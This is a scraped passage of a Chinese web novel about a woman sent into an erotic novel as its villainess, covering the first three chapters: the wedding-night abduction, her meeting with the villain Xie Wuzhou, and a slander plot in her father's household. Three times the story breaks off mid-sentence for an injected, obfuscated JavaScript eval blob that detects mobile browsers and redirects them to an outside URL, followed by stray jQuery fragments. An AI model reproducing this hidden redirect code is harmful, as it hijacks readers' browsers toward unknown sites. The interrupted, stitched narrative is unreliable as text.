《撩拨禁忌文反派的日常》
1. 洞房
月黑风高夜,正是……做坏事的时候。
“啪。”
夏笙月又拍死一只蚊子,吃饱喝足圆滚滚的蚊子被她一把弹开,看着皮肤处的红肿,她毫不犹豫下手掐了个“十”字。
这时,系统的声音也伴着蚊虫的“嗡嗡”声响起:[任务一,请前往新房抢走男主。]这已经是第三次催促了。
夏笙月抬头,透过假山缝隙看向不远处灯火通明的屋子,三个小丫鬟端着水急匆匆的进了屋。
今日男女主大婚,要是她没记错的话,这已经是男主第四次叫水了,她没有特意去数,但无奈有任务在身,得时刻关注男女主新房的动静。
她想着等男女主睡下之后就动手。
哪知道他们一直从上半夜酱酱酿酿到现在,她是一点机会都找不到,刚刚听男主第四次叫水的声音,中气十足,估计还要继续等下去。
果然限制文诚不欺她,这纸片人体力真是不错。
书里每一章都有男女主这样那样的描写,不是站在镜子前,就是坐在窗台上,又或者是伏在书案上,想着想着,她老脸一红。
系统见她不理自己,又忍不住催促:[夏夏,上啊。]
夏笙月扶额,上上上,你行你上,催催催,催命呐。
虽说心里不爽,但面上还是很怂:[统统大老爷,我觉得这件事情不地道,人家今天洞房花烛我去抢人家新郎算什么事啊,您说是不是?]
系统清了清嗓子:[夏夏,你可是一个恶毒女配,恶毒女配做坏事需要理由吗?]
夏笙月倚在假山上,扇了扇靠近的蚊子:[那有没有这样一种可能,恶毒女配从今天晚上开始她良心发现改邪归正了。]
系统立马反驳:[没有这种可能,请遵循你的恶女人设。]
夏笙月攥紧小拳头又打死一只蚊子,“咬牙切齿”:[行行行,人家小夫妻今天大婚,我先等他们把事办完。]
系统点头:[孺子可教,你是我带过最讲武德的一届。]
夏笙月干笑两声,阴阳道:[我谢谢您啊。]
系统没听出她这话里的讽刺,傻呵呵的:[好说好说,跟着本系统干,我保你升官又发财,荣华又富贵。]
夏笙月默默翻了个白眼,她才不信这些鬼话。
已经到了下半夜,男女主新房的灯还未熄灭,夏笙月是真遭不住了,困意如潮水袭来,偏偏还要忍受蚊虫的攻击,她这一夜别提有多难受。
不行了,她倚在假山上打算小憩一会儿,就在迷迷糊糊间,听到了窗户打开的声音。
夏笙月猛然惊醒,以为自己被发现了,于是赶紧蹲下去,借着旁边的花草挡住自己,然后探出脑袋小心翼翼的张望。
结果,就看到了让人脸红心跳的一幕。
男女主房间的灯不知什么时候已经熄了,此时窗户大开,窗前有两道人影正借着月光缠绵。
男主在女主身后,伸手环抱住她,然后抬腰……
啊啊啊啊,要长针眼了,夏笙月赶紧捂住眼睛,可悉悉索索的喘息声还是随着晚风不断传来。
玩的真花,这大庭广众之下被人看到可怎么办,但是转念一想,这都下半夜了,根本不会有什么人,额……除了她。
夏笙月真真切切对限制文有了体感。
她是一个月前穿过来的,她穿过来那天刚好是女配从庄子回家的日子。
作为礼部尚书三小姐的夏笙月并不受宠,她母亲只是城南花匠的女儿,名叫程二娘,没有任何身份地位,只因生的貌美,便被礼部尚书夏起道给看上了,夏起道给了老花匠十两银子便把程二娘带回了府里。
可是男人嘛,新鲜感又有多久呢,不过区区两月,程二娘便失了宠。
可就是这两月,她有了身孕,数月后产下一女。
自她进府,夏起道的宠妾梅姨娘便各种闹腾,夏起道没法,只能将程二娘和刚出生的女儿送到破败的庄子上任她们自生自灭。
去庄子的前一天,梅姨娘在程二娘面前耀武扬威,程二娘这才知道当初老爷为什么要买下她,除了她貌美,最主要的是那几天夏起道和梅姨娘赌气,便想纳个小妾气气梅姨娘,两个月后,两人和好,夏起道再没来看过她一眼。
庄子上的日子并不好过,这里住了一群好吃懒做的丫鬟婆子,知道程二娘母女不受宠后便使劲搓磨她们,冬天让她们用冷水洗衣,夏天让她们顶着烈日上山耕种,睡的被子是潮的,吃的米饭是馊的。
没过几年,瘦的不成样的程二娘含泪离世,只留下六岁的夏笙月。
夏笙月比她母亲坚强,在那些人的打骂中硬生生活到了十七岁。
书里描写的夏笙月是一个五毒俱全的女配,自打她回家之后,美丽、恶毒、愚蠢就成了她的代名词,什么陷害嫡姐、鞭打丫鬟、背后害人……数不胜数。
更是在嫡姐夏明月的婚宴上对男主谢淮一见钟情,于是乎,她开始了作死之路,在两人洞房花烛时强闯进新房跟男主表白,之后更是为了得到男主不择手段,最后沦落到一个人人厌恶的地步。
……
夏笙月回过神来,她想不明白,书里的夏笙月明明能在庄子上那种吃人的地方平安活到十七岁,说明她并不愚笨,甚至可以说是聪慧,可为什么回家之后智商直线下降,天天作天作地把自己给作死了呢。
现在她穿进来了,或许夏笙月的命运可以改变,她并不是同情恶毒女配,只是觉得夏笙月不该是作者笔下那般。
[夏夏,你在想什么?]系统的声音冷不丁的响起。
夏笙月看着不远处那扇已经关好的窗户,四周一片寂静,她轻轻抿了抿唇,该行动了。
这个任务真缺德,虽然这么想着,但脚步却一点没停,猫着腰鬼鬼祟祟的往新房走。
要是完成不了任务,她不止要被系统电,还要经历无数次循环直到把任务完成为止。
那不得疯了。
四周静的连草动的声音都能听见,一切景物半明半暗,天上的月亮害羞般用云挡住脸,仿佛刚刚看到了什么人间羞事。
夏笙月抬头看着远处泛白的日光,才意识到天快亮了,她扶额,轻轻呼出一口气,走到男女主缠绵的窗前,这扇窗户虚掩着,她伸手在窗纸上戳出一个洞,往里面看去,房间里面漆黑一片,什么都看不清。
夏笙月从衣袖里面拿出一根药条点燃,白烟阵阵,她立马屏住呼吸把药条塞进窗户。
这根药条是她在安神堂买的最好的助眠药,一旦吸入,没有两个时辰绝对醒不了。
等药条燃尽之后,她打开窗户,等烟味散尽了才笨拙地翻身进去。
房间里欢|爱的气息还未褪去,窗边的小榻凌乱不堪,再往里走,不远处书桌上的书笔全被扫翻在地,借着月光,隐隐可见书案上面一团水渍。
夏笙月在心里“啧啧”两声,战况之激烈,男女主硬是没放过任何一个地方。
她蹑手蹑脚来到床前,掀开床幔,入眼的是相拥而眠的两个人,夏明月和谢淮已经熟睡,他们两人都光溜溜的,实在不好下手。
想了想,她把床上的被子好好盖在谢明月身上,又在塌上找来一张小毯裹住谢淮往外拖。
使出吃奶的力气才勉强拖得动身高一八三的大男人。
把房门从里面打开,探头探脑的四处张望,确定没有人后才把谢淮拖出来,可是门槛实在太高,谢淮的头好几次撞在门槛上发出“咚咚”的声音,这可把夏笙月吓坏了,生怕被别人听到动静,也怕谢淮突然醒过来。
于是更加小心地把他连拉带拽的给弄了出来。
这边的地形她下午已经考察过了,不远处就有一个小厨房,她准备把人拖到那里去。
一路上也算有惊无险,夏笙月把谢淮拖进厨房,这可把她累的够呛,看着地上的男人,她双手叉腰喘气,不得不说这药条效果真好,不然经过她这么一通暴力拉扯,没准谢淮早醒了。
她擦了一把额上的汗:[统统,我这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488784|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任务算完成了吧?]
系统嘿嘿笑了两声:[夏夏真厉害,任务一完成,获得两点积分。]
[积分有什么用?]
系统继续回答:[积分达到一百点可以满足宿主一个愿望,当然了,任务难度不同所获积分也不同。]
夏笙月眉梢一挑,听起来不错,但是两点积分也太少了吧:[统统,帅气又迷人的统统,再加点积分呗。]
系统义正言辞:[这个任务非常简单,所以只有两点积分,以后的任务只会越来越难,夏夏宝宝加油哦!]
夏笙月:这悲催的日子什么时候是个头啊。
她回头看了一眼躺在柴火旁的谢淮,实在对不住了。
趁着天还没亮,她打算偷摸离开谢府。
哪知刚打开门,就看到对面回廊拐角处站着一道颀长身影,她差点惊叫出声,直愣愣的和他对视。
回廊里的少年双手抱臂倚在柱子上,歪头看她,高马尾顺着身体的弧度倾泻而下。
廊子里光线差,夏笙月看不清他的样子。
系统赶紧出声提醒:[夏夏快跑,他是这本书里杀人不眨眼的大反派。]
夏笙月心里哐当一下,居然是大反派谢无洲,男主谢淮同父异母的弟弟,从尸山血海里爬上来的少年将军,传闻他喜怒无常、嗜血残暴。
作者曾用“玉面恶鬼”来形容他。
此时不跑更待何时,夏笙月转身就想开溜,可还没跑两步,背后衣领子就被人给提了起来,像拎鸡崽子似的,她双脚离开地面,双手直扑腾:“放我下来。”
谢无洲长指一松,夏笙月直接摔在地上,她惊恐的抬起头。
东方既白,天色渐亮。
谢无洲俯身看她,嘴角挂着一抹若有若无的笑,夏笙月吞了吞口水,挪不开视线。
面前的少年长了一双十分凌厉的眼睛,眼型狭长,像一把刚出鞘的利刃,就这么直直的盯着她,漆黑的瞳孔仿佛要把她吸进去。
他歪了歪头,危险的眯起眼睛,可他嘴角却牵起一个弧度,像是在笑。
他一言未发,弧线锋利的轮廓染了一层浓厚的诡寒气息。
夏笙月眨了两下眼睛,努力保持镇定,尽管心里已经慌的不行。
谢无洲直起身,他身着黑色常衣,全身上下就一条腰带装饰,高束马尾垂在劲瘦的腰间,整个人气质干净的没有一丝杂质。
“你是谁?在这里鬼鬼祟祟的做什么?”他声线很沉,说话间,他看向厨房,眉毛一挑,表情玩味十足。
夏笙月赶紧站起来,不敢看他:“睡不着,起来锻炼一下,拜拜。”说完就想溜。
谢无洲搭上她的胳膊,微微用力,从喉咙深处溢出一声低笑。
夏笙月觉得自己的胳膊要被他卸掉了,连忙求饶:“大哥,有话好好说嘛,君子动口不动手。”
谢无洲一脸人畜无害:“我不是君子,我就喜欢动手。”
夏笙月咬牙赔笑:“你这话说的,你长的这么玉树临风,一看就是个谦谦君子。”
谢无洲像是听到了什么大笑话,捂着肚子笑弯了腰,笑声回荡在整个回廊里。
夏笙月不知道他的笑点在哪,怕他的笑声引来其他人,但又不敢直接上手捂他的嘴,只一个劲的对他“嘘嘘嘘”,让他别笑了。
谢无洲笑得更欢了,直到笑累了才停下来:“你叫什么名字?”他问她,鲜红的唇瓣微微上翘,身后日光升起,光影婆娑,照在他身上,泛起金灿灿的光。
夏笙月眼珠转了转:“我叫……钱多多。”
他不知信了没有,只吐出一句:“真难听。”然后看一眼柴房地上的人,“你喜欢我大哥?”
夏笙月深吸一口气,眼见天快亮了,不想在这跟他掰扯,于是心生一计,缓缓靠近他,忽然闻到他身上浓烈的血腥气,她一惊,强忍住心里的恐惧抓住他的手,深情款款道:“谢二公子,其实……我喜欢你。”
见人说人话,见鬼说鬼话。
2. 杀心
谢无洲许是没想到竟有这般大胆直接的女子,一时之间愣了神。
趁着这个功夫,夏笙月快速找到他手上的麻径穴按下,然后头也不回撒腿就跑。
谢无洲忽然发现自己动弹不得,背后的脚步声越来越远,他闭上眼睛,再睁开时眼里一片杀意。
竟敢玩他。
真该死啊,他一定要杀了她。
离开谢府的夏笙月狠狠松了一口气。
太阳升起,长街上都是小贩的吆喝声,京城的早市气息扑面而来,她买了两个肉包边走边吃。
[统统,刚刚那个真的是大反派吗?我怎么觉得他看起来挺和善的。]她不禁有些怀疑,廊下的少年怎么看都是一副人畜无害的样子,根本不像杀人不眨眼的大魔头。
系统出声反驳:[他杀|人的时候你又没见过。]
“咳咳咳。”夏笙月被肉包噎住,拼命咳嗽几声才把卡在喉咙里的包子咽下去,书上说,谢无洲天生一张笑脸,开心时笑,伤心时也笑,甚至在杀人的时候都是笑着的。
对外一副潇洒少年的模样,给人感觉极好接近,可事实却是,他是一个十足的冷情冷性之人,心跟冰碴子一样又刺又硬。
而且……有仇必报。
回忆起书里的情节,夏笙月倒吸一口冷气,慢慢后知后觉:[统统,我完了,有什么自救的办法没?]
叫了好几声都没回应,这系统不会又故障了吧,三天两头玩消失,她合理怀疑分配给她的是个残次品。
越想越害怕,她打了个冷战,奇怪,明明头上艳阳高照,可她却莫名感到一股冷气。
另一边,谢府。
谢无洲回到屋子,他这间屋子坐南朝北,全天无光,里面阴恻恻的一片,屋里家具更是少的可怜,他强撑着坐到凳子上,体内的毒又开始发作,从头到脚像万蚁啃食般难受。
他闭上眼睛,冷汗从额头一路往下,沿着锋利的轮廓滴落。
桌上的茶水已经凉透,他硬生生挨了半个时辰。
等身上的疼痛过去后他开始查看身上的伤势。
上衣脱落,堆叠在腰腹间,少年身姿挺拔,身上的薄肌强而有力,随着他急促的呼吸腹部肌肉不断起伏,让盘璇在上面的刀伤看起来更加狰狞恐怖,伤疤从胸口一直蜿蜒到小腹,血肉翻涌,也不知流了多少血,将他的黑衣都给染透了。
谢无洲看着横亘在身上的新伤,眉头都没皱一下,皮肉伤而已,又死不了,转头去看左手上的那条毒线。
毒线从手腕延伸到了胸口,颜色黑沉发紫,他盯着这条毒线,静默的双眼异常冰冷。
摸了摸手腕,不知是不是他的错觉,总感觉手腕处这一段的毒线颜色淡了些。
恍神间,他又想到了今日玩弄他的女子。
谢无洲眸色暗了暗,怎么办,好想杀了她,应该让她怎么死好呢?霎时间,他玩心大起。
万箭穿心、剥皮削骨、五马分尸。
好想让她都体验一遍,可是她只有一条命,他想了一会,那就剥皮削骨吧,下次见到她,一定将这份大礼送给她。
日头渐大,屋外响起一阵匆忙的脚步声,紧接着,房门被人推开,谢夫人气势汹汹的走进来,面色不善。
谢无洲抬头看了一眼,垂下眼睑,情绪晦暗不明,不紧不慢的穿好衣服。
谢夫人看见他身上的伤,眼睛都没眨一下,直接冲进来给了他一巴掌。
谢无洲站起身,他身量极高,低头睨视谢夫人,摸了摸被扇的脸颊,又恢复了平日里的懒散劲儿:“谢夫人过来就为了扇我?真是好雅兴。”
谢夫人看着这个脱离自己管教的儿子,心口堵着一团气,怎么也消不下去,她一拍桌子,怒吼:“我是你母亲,你一口一个谢夫人成何体统。”
谢无洲所谓的挑了挑眉:“哦,谢夫人。”
谢夫人捂住胸口气得发抖:“你真是半点也比不上你大哥。”
谢无洲笑了:“那你认他当儿子去。”说完准备离开。
谢夫人叫住他:“昨日你大哥大婚你为何不出席?”
“我们肃国公府好歹也是京城数一数二的人家,嫡子婚宴,次子竟然不露面,现在外头都在传你和你大哥不和,你真是把我们肃国公府的脸都给丢尽了。”
“再大的事也比不过你大哥的婚宴,你怎么这么不知轻重。”
谢无洲:“我昨日在哪你不知道吗?在活死人营,还是国公爷亲自送我进去的,那地方可不能随随便便出来。”他看向谢夫人,企图在她脸上找到一丝愧疚。
但很可惜,并没有。
“那又怎么样,不管怎么说都是你的错。”谢夫人面目狰狞。
谢无洲笑着点头,眼里碎光拂过,许是失望到了极点,声音也染上了一层暗色:“对对对,都是我的错。”
真可悲呀,母亲给他下毒,父亲送他去吃人不吐骨头的活死人营,一个两个都想让他死,可他偏偏就不如他们的愿,他要活着,还要活的比任何人都要好。
谢夫人气极,从下人手里拿过祖棍,一棍一棍重重打在谢无洲的脊背上,把在肃国公那里受的委屈全都发泄在自己儿子身上。
她本是文宣伯爵府的庶女文衿,按理是攀不上肃国公府的亲事,可奈何嫁过去的嫡姐文慈早逝,留下一个嗷嗷待哺的幼子,两家人一合计,就让她去当了肃国公的续弦,帮嫡姐照顾刚出世的孩子。
肃国公与亡妻伉俪情深,对她没有半分感情,日常都是一副冷冰冰的态度,只会在她照顾谢淮的时候对她露出笑颜,为了他能多看自己一眼,文衿更加用心的照顾谢淮。
后来她意外有了孩子,原以为这样能得到肃国公的青睐,哪知道肃国公得知她怀孕的消息大发雷霆,在她生下孩子后更是一年没来她院里,更别提看望刚出生的谢无洲。
肃国公对他们娘俩愈来愈冷,文衿觉得这一切都是谢无洲造成的,要是没把他生下来就好了,自己一心一意照顾谢淮,至少老爷还能高看她一眼。
自此,她对谢无洲非打即骂。
在族谱入名的时候,谢无洲本叫做谢洲,但文衿提议在中间加个无字,无洲无洲,这世上本该没有谢洲这个人。
谢无洲从小在肃国公的无视和文衿的打压下长大,但他的才学武功都在谢淮之上,十岁那年,他拿了武社头筹,兴高采烈的回家报喜,可迎接他的不是父母的夸赞,而是两道冷冰冰的目光。
肃国公只“嗯”了一声,便转头牵起谢淮的手去了墨房,文衿在肃国公走后将茶盏摔到地上,溅起的碎片划伤了谢无洲的额角。
她指着谢无洲的鼻子怒骂:“你在这显摆什么?明知你大哥武学没你出色,你还要这样戳他心窝子,你可真歹毒啊。”
十岁的谢无洲不明白,为什么他拿了武社头筹就成了歹毒。
额上的血一滴一滴落在地板上,文衿视若无睹。
……
棍子落在谢无洲身上,一下比一下重。
他脊背挺直,没有弯下一分,那么粗的棍子打在身上,他脸色都未曾变过,在第十棍落下的时候,他伸手抢过文衿手里的棍子一把丢在地上,表情平静的不正常:“谢夫人,你再打下去说不准我也会动手。”
文衿跌坐在椅子上,刚刚她用了十成十的力气,现下卸了力,她喘着气,努力平复下来,给旁边的丫鬟使了个眼色,丫鬟赶紧端上来一碗汤药放在桌上。
谢无洲看着那碗熟悉的药,眼睫轻颤,遮住眼底浮起的情绪,嫣红带笑的唇角扯出一抹嘲讽的弧度,缓缓开口:“谢夫人,这药是不是非喝不可?”
文衿立刻捏紧袖子,神色不自然的“嗯”了声。
谢无洲唇角的弧度刹那间破碎,靡丽的鲜红丝丝溢出,他若无其事的抬手擦去。
文衿一刻也不想在这里多待,她站起身往外走,走到门口的时候不忘叮嘱:“过两日你大哥大嫂回门,你也跟着去,不能让外人看了笑话。”
说完不等他回答就匆匆离开,好似屋子里有什么瘟神一样。
谢无洲端起药碗,尽数倒在那盆快要枯萎的月季上。
凋零的月季花下已然堆了许多药渣。
他捻下一片枯萎的花瓣,夹在两指间细细碾磨,直至成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488785|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
粉。
……
翌日清晨,丫鬟零露第三次来叫夏笙月起床,说大夫人今日叫了宫里的嬷嬷来教姑娘们女红,让夏笙月不要误了时辰。
夏笙月冲她摆了摆手,依旧躺在被子里,声音困倦:“知道了。”
她打了个哈欠,抱着枕头不撒手:[统统,我好想成亲啊。]
系统吓了一跳:[和谁?谢淮?谢无洲?]
夏笙月蹭了蹭枕头:[如果可以跨物种的话,我想和床成亲,床上实在太舒服了。]
系统:……这一届的宿主脑子好像不太灵光。
零露端来水后,夏笙月才开始起床洗漱,瞧了眼外面的天色,问道:“宫里的嬷嬷什么时候到?”
零露:“奴婢去打水的时候看到宫里嬷嬷的马车停在后院,估计已经到了。”
啊?夏笙月赶紧披上外衣。
大夫人能请动宫里的嬷嬷估计是下了点功夫,来夏府这一个月,她只见过大夫人两次,一次是她归家那日,第二次是夏明月出嫁那日,大夫人生的很好看,有一股很正宗的大家闺秀味儿,行为举止十分端庄得体。
如今她的女儿夏明月已经出嫁,她还请人来教导剩下的庶女,说明这个当家主母眼见高远。
毕竟一荣俱荣,一损俱损。
来到听书阁,里面传来小声的说话声,夏笙月掀开帘子朝里面望去,屋子里面只有两个人,只见夏沅月正在摆弄自己的指甲,旁边的夏宛月低着头,时不时附和两句。
见夏笙月进来,夏沅月冷哼一声,阴阳怪气道:“三妹妹来的可真早。”
夏沅月仗着自己的母亲梅姨娘受宠,在府里嚣张跋扈惯了,见谁都是一副看不惯的样子。
夏笙月坐到空位置上,笑了笑:“是挺早的,嬷嬷都还没来呢。”
夏沅月一拳打在棉花,很是不得劲,还想找点茬,却被夏宛月拉住:“二姐姐莫要激动,嬷嬷马上来了,让她看到可不好。”
夏沅月重重甩开她的手,重新坐下。
夏宛月的母亲赵姨娘是府里的透明人,一天到晚吃斋念佛,夏起道也不重视这对母女,任由她们被梅姨娘打压,从不过问一句。
不多时,大夫人秦昭德扶着一位老嬷嬷走了进来。
秦昭德看了眼下面的三位庶女,跟她们介绍:“这位是宫里的刘嬷嬷,今日来教你们插花,你们要虚心听教。”
夏笙月抬起头,就见上桌坐了一位头发花白的老嬷嬷,嬷嬷嘴角含笑,慈眉善目,穿了一身紫花交领锦服,交叠放在桌子上的手连指甲都修的整齐干净,一看就是一位十分讲究的老人。
刘嬷嬷笑着坐下,扫过对面三人:“早就听闻礼部尚书的女儿各个美貌无双,今日一见果然名不虚传。”
夏沅月高傲的抬起头,夏宛月却自卑的低下头,她知道自己长的并不好看,嬷嬷这句话只是客套罢了。
刘嬷嬷也不废话,直接开始教她们如何插花。
“插花是一大雅事,你们桌上摆着月季、茉莉、水仙、桃花枝,它们长短不一,大小不一,想要插的花好看,最重要的就是要注重颜色的配合,淡就淡,艳就艳,切不可混淆,好了,你们先动手试一试。”
夏笙月饶有兴趣的摆弄桌上这些花花草草。
夏沅月觉得无聊,把器具摔得噼里啪啦,刘嬷嬷看着她,摇了摇头,这女子心性不沉。
秦昭德也有些不悦。
时间慢慢过去,夏笙月挑了几朵颜色淡雅的花插进花盆里,再用一些桃花枝做装饰,整体效果清淡和谐。
刘嬷嬷还来不及夸奖,就听见窗外传来一阵动静,一个鬼鬼祟祟的人影在窗前徘徊。
秦昭德立刻让小厮把那人带上来。
那人被带到屋里,是府里新来的马夫,他惊慌失措的低下头,藏在袖子里的东西掉在地上,他慌忙捡起揣进怀里。
“拿出来。”秦昭德以为他偷了府里什么东西。
马夫颤巍巍的抬头看了夏笙月一眼,遂低下,小眼睛滴溜乱转。
夏笙月被他看得发毛,心里升起一股不好的预感。
3. 肚兜
只见马夫弯腰拿出怀里的东西,秦昭德身边的大丫鬟拿过递给她,看清楚物件后她随即脸色大变,红色的肚兜上绣了两只戏水鸳鸯,鸳鸯下面还有几句淫词艳诗。
想到今日宫中嬷嬷在场,她赶紧让人把这个马夫拖下去。
马夫不干了,嘴里大声嚷嚷:“大夫人,我与三小姐情投意合,求您成全。”
此话一出,无数双眼睛都看向夏笙月,夏沅月抱臂一副幸灾乐祸的样子,夏宛月轻咬着唇,似是为府里的姐妹出了这样的事难堪。
秦昭德自然不信马夫的一面之词,但今日这件事不管是真是假,如若流传出去,必会损坏府里女儿们的名声,甚至还可能牵连到已经出嫁的明月。
她得想一个应对之法。
“嬷嬷,今日让您见笑了,等处理完家务再请您喝茶。”说着就想把刘嬷嬷请出去。
可刘嬷嬷却坐在位子上归然不动,世家大族里出了这样一场好戏,她高低得观摩观摩:“我也想看看今日这事究竟是怎么回事。”
秦昭德无法,只能先处置马夫。
“愣着干什么,这马夫神志不清,赶紧把他拖走。”她再次让两个小厮上前来拖住马夫。
可马夫不知道哪里来的力气,硬是抱住桌腿不撒手,然后转头看向夏笙月,嘴里唾沫星子乱溅:“三小姐,你可不能言而无信啊,昨日你将自己贴身肚兜赠予我,不就是想要嫁我为妻嘛,现在趁大夫人在,快让夫人成全你我的姻缘。”
夏笙月挑起地上的肚兜,盯着马夫,表情镇定:“你怎么证明这个东西是我的?”
马夫一愣。
“你既然证明不了,那这东西就不是我的。”她继续说。
马夫以为今日自己这么一闹,未出阁的小姐定会慌乱无主,哪知这个三小姐竟如此冷静,这肚兜是昨日有人交给他,说三小姐心悦他,要他第二日去听书阁赴约,他这才来的。
现下三小姐说这东西不是她的,他也不知道怎么回事了,但是闹都闹了,尚书府定不会留他,要是不娶个小姐回去就亏大了,于是一口咬定这东西是夏笙月的。
“最下面绣了一行小字,是三小姐的名字。”他满头是汗。
夏笙月听完也不急,将肚兜展开一看,果然看到了自己的名字,她一挑眉,对众人说:“就算绣了我的名字也不能证明这是我的东西,不知这马夫哪里找来的东西陷害我。”顿了顿,她看向马夫继续说,“但是今日你的如意算盘怕是打错了。”
听到她这么说,秦昭德上前问道:“你可是有证明清白的办法。”
夏笙月笑了笑,颇有些无奈,她并不想自证,但在这个视女子贞洁为命的时代,她要是不解释清楚,以后怕是会众说纷纭。
“自然。”
她话音刚落,就见夏起道一脸怒容的走了进来,夏起道不知从哪听到的消息,说自己女儿和马夫厮混到一起,气得他官服都没脱直接赶了过来,见到刘嬷嬷,他压下脾气恭敬一拜,毕竟是宫里的老人,他不敢怠慢。
如今府里出了这样的荒唐事,要是传进宫里,他这老脸往哪搁?
他身后跟着姿色艳丽的梅姨娘,梅黎脸上的笑怎么也藏不住,她用扇子捂住嘴:“哟,今日这是怎么了?”
夏沅月小跑过去挽住她的手,大声道:“小娘,三妹妹不知廉耻和马夫私通。”
“住嘴。”夏起道怒喝,要是在平时,他肯定不会吼放在手心里疼的二闺女。
梅黎拍了拍夏沅月的手,看向夏起道,微微嗔怒:“二郎,你冲沅儿吼什么。”说完斜眼看夏笙月,语气轻蔑:“果然是在庄子上长大的,上不得台面。”
夏起道深吸一口气,上前两步,抬手就想给夏笙月一巴掌,却被她偏头躲了过去。
夏起道的威严仿佛受到了挑衅,大喊“逆子。”
夏笙月离他远远的,生怕这个暴躁老爹一掌劈下来:“我不知今日这马夫为何要诬陷我,但是我可以证明这东西不是我的,这种旧样式的肚兜夏天穿着十分闷热,我便将它做了一些改良,将下面那节长摆直接给裁了去,所以我屋里没有这样的老式肚兜。”说罢把手里的东西直接丢到马夫脸上。
她又看向秦昭德和刘嬷嬷:“如若不信,还请刘嬷嬷和嫡母为我证名。”
她们三人去了旁边的小屋,夏笙月解开衣裳,入眼的是与她们完全不同的肚兜样式,刘嬷嬷让她把衣服穿好,在深宫里这么些年,什么样的腌臜手段没见过,她心里早就有了答案。
刘嬷嬷帮夏笙月理好衣襟,女子清白何其重要,如今有人拿清白诋毁她,她却能冷静应对,这女子有胆识。
另一边,梅黎不停地往小屋张望,神色有些紧张,夏沅月不解:“小娘,你怎么了?”
梅黎摇摇头:“没事。”
刘嬷嬷和秦昭德还了夏笙月清白,地上的马夫见此事不成,一个劲的磕头认错,鼻涕眼泪糊了满脸。
夏起道上前一步逼问道:“这东西是谁给你的?”
马夫一五一十全说了:“是后院的王管家。”
王管家。
夏起道和秦昭德立刻看向梅黎,王管家是梅黎的表叔,二人平时多有往来。
梅黎有些心虚,不敢和夏起道对视。
一旁的刘嬷嬷揉了揉酸痛的腰,叹息一声:“这身子骨是愈发不中用了,明日就不来了。”
秦昭德立刻听出了她话里的意思,她花这么大的精力将刘嬷嬷请出宫,现在功亏一篑,她剜了夏起道一眼,让他宠妾灭妻,梅黎如今都已经嚣张到能在宫嬷面前耍花样了,将来指不定翻出什么风浪来。
她和夏起道本就是因为利益在一起,当年新晋状元郎需要一个强有力的家族支持自己的仕途,而她们中书府也要一个状元郎女婿来争美名,于是他们就被凑成了一对。
夏起道也确实借着中书家的势力爬到了礼部尚书的位置。
官居从二品后,他开始宠妾灭妻,不过她也懒得管,她只需要当好当家主母就行,至于夏起道宠谁,她一点也不在乎。
如今,自己的女儿嫁给了肃国公世子,往后荣华一生,儿子也考入了国子监,仕途一片清朗,儿子女儿都有出息,她无需再倚仗夏起道这个老东西。
等秦昭德和刘嬷嬷出去后,夏起道直接命人将马夫贩卖去奴隶场,除去王财的管家之位,然后拽起梅黎就往外走。
夏笙月看到这阵势,那还有什么不明白的,这事估计和梅姨娘有关,这梅姨娘美是美,就是脑子少根筋,要是今日这事传出去,她们三个待嫁的姑娘名声都会受损,到时候她女儿夏沅月也难觅好人家。
她摇了摇头,抱起插好的花往后院走。
这边,夏起道气汹汹的将梅黎拉回绿梅苑,梅黎一路娇嗔不断:“二郎,你弄痛奴家了。”
回到屋子,夏起道反手关上门,一把甩开她,怒气未消:“今日这事是不是你做的?”
梅黎泪眼婆娑,软绵绵依上来,将头靠在他胸上:“二郎,我就是想给那夏笙月一点教训,谁让她前几天惹我们沅儿不开心。”
夏起道心里烦躁,直接推开她:“你们平时小打小闹我管不着,但今日有贵客在场,刘嬷嬷伺候了三朝太后,在宫里地位不低,他日沅儿若想寻得一桩好姻缘,或许还要倚仗她,现在好了,全被你毁了。”
他原以为可以凭刘嬷嬷攀上一门皇家亲事,哪怕让他的这些庶女做妾,不过现在怕是不可能了。
被推到地上的梅黎十分委屈,眼泪说来就来:“今日出丑的是夏笙月,关我们沅儿什么事。”
夏起道看着这个自己疼爱了半辈子的女人,第一次发现她是如此蠢笨,他指着她的鼻子:“你是猪吗。”
“一荣俱荣,一损俱损。”
“简直蠢笨如猪。”说罢一拂衣袖,转身离去。
梅黎慌了,以前她不管犯什么错只要撒个娇,夏起道就会无条件原谅她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488786|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,想不到今日他竟如此生气,或许自己真的做错了,她起身去追赶,却被婆子关在屋里:“梅姨娘,老爷说了,从今日起您禁足一个月。”
梅黎顺着门板滑落,泪水不受控制的流下,她膝下没有儿子傍身,只有一个女儿,要是没了夏起道的宠爱,她在这府里什么都不是。
……
